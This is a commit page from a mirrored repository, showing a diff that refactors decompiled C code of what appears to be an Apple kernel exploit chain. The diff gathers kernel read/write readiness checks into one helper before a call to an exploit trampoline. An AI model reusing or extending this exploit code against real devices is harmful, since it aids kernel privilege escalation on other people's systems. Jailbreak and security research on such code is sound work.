mirror of
https://github.com/khanhduytran0/coruna.git
synced 2026-08-28 21:10:38 +02:00
Factor KRW ready method check
This commit is contained in:
@@ -790,6 +790,21 @@ static krw_setup_path_t krw_select_setup_path(struct_krwCtx *krwCtx)
|
|||||||
return KRW_SETUP_PATH_VOUCHER;
|
return KRW_SETUP_PATH_VOUCHER;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
static bool krw_has_any_ready_method(struct_krwCtx *krwCtx)
|
||||||
|
{
|
||||||
|
bool hasThreadStateKrw = krwCtx->threadForKernelRead + 1 >= 2 && *(uint64_t *)&krwCtx->gap42[40];
|
||||||
|
bool hasIOConnectKrw = (unsigned int)(*(uint32_t *)&krwCtx->gap42[56] + 1) >= 2
|
||||||
|
&& *(uint64_t *)&krwCtx->gap42[72]
|
||||||
|
&& *(uint64_t *)&krwCtx->gap42[80];
|
||||||
|
bool hasPipePairKrw = krwCtx->gap1911[0] != -1
|
||||||
|
&& krwCtx->gap1911[1] != -1
|
||||||
|
&& ((krwCtx->gap1915 != -1 && krwCtx->gap190u)
|
||||||
|
|| (krwCtx->gap1913 != -1 && krwCtx->gap1914 != -1));
|
||||||
|
bool hasTargetPortKrw = (unsigned int)(LODWORD(krwCtx->gap191[693]) + 1) >= 2;
|
||||||
|
|
||||||
|
return hasThreadStateKrw || hasIOConnectKrw || hasPipePairKrw || hasTargetPortKrw;
|
||||||
|
}
|
||||||
|
|
||||||
__int64 __fastcall j__fileport_makeport(int a1, mach_port_t *a2);
|
__int64 __fastcall j__fileport_makeport(int a1, mach_port_t *a2);
|
||||||
int __fastcall j__fileport_makefd(mach_port_t);
|
int __fastcall j__fileport_makefd(mach_port_t);
|
||||||
__int64 __fastcall __mac_syscall(__int64 a1, __int64 a2, __int64 a3);
|
__int64 __fastcall __mac_syscall(__int64 a1, __int64 a2, __int64 a3);
|
||||||
@@ -45192,16 +45207,7 @@ LABEL_96:
|
|||||||
}
|
}
|
||||||
if ( !v39 )
|
if ( !v39 )
|
||||||
return 163869;
|
return 163869;
|
||||||
bool hasThreadStateKrw = krwCtx->threadForKernelRead + 1 >= 2 && *(uint64_t *)&krwCtx->gap42[40];
|
if ( v96 && krw_has_any_ready_method(krwCtx) )
|
||||||
bool hasIOConnectKrw = (unsigned int)(*(uint32_t *)&krwCtx->gap42[56] + 1) >= 2
|
|
||||||
&& *(uint64_t *)&krwCtx->gap42[72]
|
|
||||||
&& *(uint64_t *)&krwCtx->gap42[80];
|
|
||||||
bool hasPipePairKrw = *(uint32_t *)gap192 != -1
|
|
||||||
&& krwCtx->gap1911[1] != -1
|
|
||||||
&& ((krwCtx->gap1915 != -1 && krwCtx->gap190u)
|
|
||||||
|| (krwCtx->gap1913 != -1 && krwCtx->gap1914 != -1));
|
|
||||||
bool hasTargetPortKrw = (unsigned int)(LODWORD(krwCtx->gap191[693]) + 1) >= 2;
|
|
||||||
if ( v96 && (hasThreadStateKrw || hasIOConnectKrw || hasPipePairKrw || hasTargetPortKrw) )
|
|
||||||
{
|
{
|
||||||
krw_ctx_set_flag(krwCtx, KRW_CTX_FLAG_KRW_METHODS_READY);
|
krw_ctx_set_flag(krwCtx, KRW_CTX_FLAG_KRW_METHODS_READY);
|
||||||
}
|
}
|
||||||
@@ -45211,14 +45217,7 @@ LABEL_96:
|
|||||||
v42 = 128;
|
v42 = 128;
|
||||||
else
|
else
|
||||||
v42 = 1152;
|
v42 = 1152;
|
||||||
if ( (krwCtx->threadForKernelRead + 1 < 2 || !*(uint64_t *)&krwCtx->gap42[40])
|
if ( !krw_has_any_ready_method(krwCtx) )
|
||||||
&& ((unsigned int)(*(uint32_t *)&krwCtx->gap42[56] + 1) < 2
|
|
||||||
|| !*(uint64_t *)&krwCtx->gap42[72]
|
|
||||||
|| !*(uint64_t *)&krwCtx->gap42[80])
|
|
||||||
&& (*(uint32_t *)gap192 == -1
|
|
||||||
|| krwCtx->gap1911[1] == -1
|
|
||||||
|| (krwCtx->gap1913 == -1 || krwCtx->gap1914 == -1) && (krwCtx->gap1915 == -1 || !krwCtx->gap190u))
|
|
||||||
&& (unsigned int)(LODWORD(krwCtx->gap191[693]) + 1) <= 1 )
|
|
||||||
{
|
{
|
||||||
mach_port_with_a2 = kext_exploit_main_trampoline((uint64_t)krwCtx, krwCtx->gap19210, 0, (uint64_t)&krwCtx->gap191[693]);
|
mach_port_with_a2 = kext_exploit_main_trampoline((uint64_t)krwCtx, krwCtx->gap19210, 0, (uint64_t)&krwCtx->gap191[693]);
|
||||||
if ( (uint32_t)mach_port_with_a2 )
|
if ( (uint32_t)mach_port_with_a2 )
|
||||||
|
|||||||
Reference in New Issue
Block a user